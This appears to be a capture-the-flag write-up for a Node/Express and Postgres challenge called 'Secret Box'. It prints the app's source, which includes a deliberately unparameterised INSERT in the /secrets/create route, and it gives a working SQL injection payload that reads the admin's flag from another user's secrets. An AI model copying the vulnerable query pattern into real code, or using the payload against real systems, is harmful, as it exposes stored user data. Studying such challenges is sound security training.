Secret Box

Files Provided

source
├── app
│   ├── Dockerfile
│   └── src
│       ├── db.js
│       ├── handler.js
│       ├── server.js
│       └── views
│           ├── create_secret.ejs
│           ├── index.ejs
│           ├── login.ejs
│           ├── my_secrets.ejs
│           └── signup.ejs
├── db
│   ├── Dockerfile
│   └── initdb.sql
└── docker-compose.yml

server.js:

const express = require('express');
const app = express();
const fs = require('fs');
const path = require('path');
const PORT = process.env.PORT || 80;

const { db, initdb } = require('./db');
const authMiddleware = require('./handler');


// Parse JSON bodies
app.use(express.json());
app.use(express.urlencoded({ extended: true }));


// Set up EJS as the view engine
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));


// GET index page
app.get('/', authMiddleware, async (req, res) => {
    const userId = req.userId;

    if (userId){
        // logged in
        const query = await db.raw(
            `SELECT * FROM secrets WHERE owner_id = ?`,
            [userId]
        );

        return res.render('my_secrets', {secrets: query.rows});
    }
    else {
        // if not yet login
        return res.render('index', {message: null, error: null});
    }
});

// GET login page
app.get('/login', (req, res) => {
    return res.render('login', {message: null, error: null});
});

// GET signup page
app.get('/signup', (req, res) => {
    return res.render('signup', {message: null, error: null});
});

// GET create new secret page
app.get('/secrets/create', authMiddleware, (req, res) => {
    return res.render('create_secret');
});

// POST login
app.post('/login', async (req, res) => {
    const { username, password} = req.body;

    const userResult = await db.raw(
        `SELECT * FROM users WHERE username = ? AND password = ? LIMIT 1`, 
        [username, password]
    );

    // check user
    const user = userResult.rows[0];
    if(!user){
        return res.render('login', {message: null, error: 'User Not Found or The password is wrong'});
    }


    // check token
    const tokenQuery = await db.raw(
        `SELECT id FROM tokens WHERE user_id = ? AND expired_at > NOW()`,
        [user.id]
    );

    let token = tokenQuery.rows[0]?.id;
    if(!token){
        // no valid token: create one
        const createTokenQuery = await db.raw(
            `INSERT INTO tokens(user_id) VALUES (?) RETURNING id`,
            [user.id]
        );

        token = createTokenQuery.rows[0].id;
    }

    res.cookie('auth_token', token);
    return res.redirect('/');
});

// POST signup
app.post('/signup', async (req, res) => {
    const { username, password} = req.body;


    const userResult = await db.raw(
        `SELECT * FROM users WHERE username = ? LIMIT 1`, 
        [username]
    );

    if (userResult.rows.length >= 1){
        // user exist
        return res.render('signup', {message: null, error: 'Username already exists'});
    }

    const createUserQuery = await db.raw(
        `INSERT INTO users(username, password) VALUES (?, ?)`, 
        [username, password]
    );

    // render to login page: create user only, not logging in automatically
    return res.render('login', {message: 'Create User Successful', error: null});
});


app.post('/logout', async (req, res) => {
    res.clearCookie('auth_token');
    return res.redirect('/');
});

app.post('/secrets/create', authMiddleware, async (req, res) => {
    const userId = req.userId;
    if (!userId){
        // if user didn't login, redirect to index page
        res.clearCookie('auth_token');
        return res.redirect('/');
    }

    const content = req.body.content;
    const query = await db.raw(
        `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')` 
    );

    return res.redirect('/');
});

(async () => {
    // Ensure DB is ready before server runs
    await initdb();

    app.listen(PORT, ()=> {
        console.log(`Server running on port ${PORT}`)
    });
})();

db.js:

const path = require('path');
require('dotenv').config({ path: path.join(__dirname, '.env') });

const knex = require('knex');

const db = knex({
    client: 'pg',
    connection: {
        host: process.env.DB_HOST,
        port: process.env.DB_PORT,
        user: process.env.DB_USER,
        password: process.env.DB_PASSWORD,
        database: process.env.DB_NAME,
    },
    pool: {min: 0, max: 5},
});


async function initdb() {
  try {
    console.log("Testing DB connection...");
    await db.raw('SELECT 1');
    console.log('Database connection successful');

    await db('users')
      .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
      .update({ password: process.env.USERPASSWORD });

    await db('secrets')
      .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
      .update({ content: process.env.FLAG });

    console.log("Real flag and password updated");
  } catch (error) {
    console.error('Database connection failed:', error.message);
    process.exit(1);
  }
}

module.exports = { db, initdb };

Approach

The only endpoint vulnerable to SQLi is /secrets/create:

const query = await db.raw(
        `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')` 
    );

We can set content to be content from admin's secret. We have the owner_id:

await db('users')
    .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
    .update({ password: process.env.USERPASSWORD });

await db('secrets')
    .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
    .update({ content: process.env.FLAG });

Final working payload in content text box:

'||(SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1)||'

which results in the SQL query:

INSERT INTO secrets(owner_id, content)
VALUES ('${userId}', ''||(SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1)||'')